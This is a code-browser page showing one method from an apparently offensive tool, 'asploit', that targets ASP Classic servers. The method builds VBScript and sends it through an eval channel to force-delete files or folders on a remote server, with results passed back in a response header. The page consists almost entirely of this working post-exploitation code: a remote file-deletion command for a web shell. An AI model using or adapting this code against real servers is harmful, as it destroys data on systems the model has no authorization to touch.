MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__rm

Method _Base__rm

src/ASPClassicExploitProcessor.py:329–348  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

327 @brief See base class for details.
328 """
329 def _Base__rm(self, options: str):
330 filePath = self.directory + "\\" + options.replace("/", "\\")
331 res = self.__eval(
332 "Set fileSys = "
333 "Server.CreateObject(\"Scripting.FileSystemObject\"):"
334 f"If Not fileSys.FileExists(\"{filePath}\") And "
335 f"Not fileSys.FolderExists(\"{filePath}\") Then:"
336 f"Response.AddHeader \"{self.header}\", "
337 "\"File does not exist.\":"
338 "End If:"
339 f"If fileSys.FileExists(\"{filePath}\") Then:"
340 f"Call fileSys.DeleteFile(\"{filePath}\", True):"
341 f"Response.AddHeader \"{self.header}\", \"Done.\":"
342 f"End If:"
343 f"If fileSys.FolderExists(\"{filePath}\") Then:"
344 f"Call fileSys.DeleteFolder(\"{filePath}\", True):"
345 f"Response.AddHeader \"{self.header}\", \"Done.\":"
346 "End If:"
347 ) # bug when current directory is deleted.
348 print(res)
349
350 """
351 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected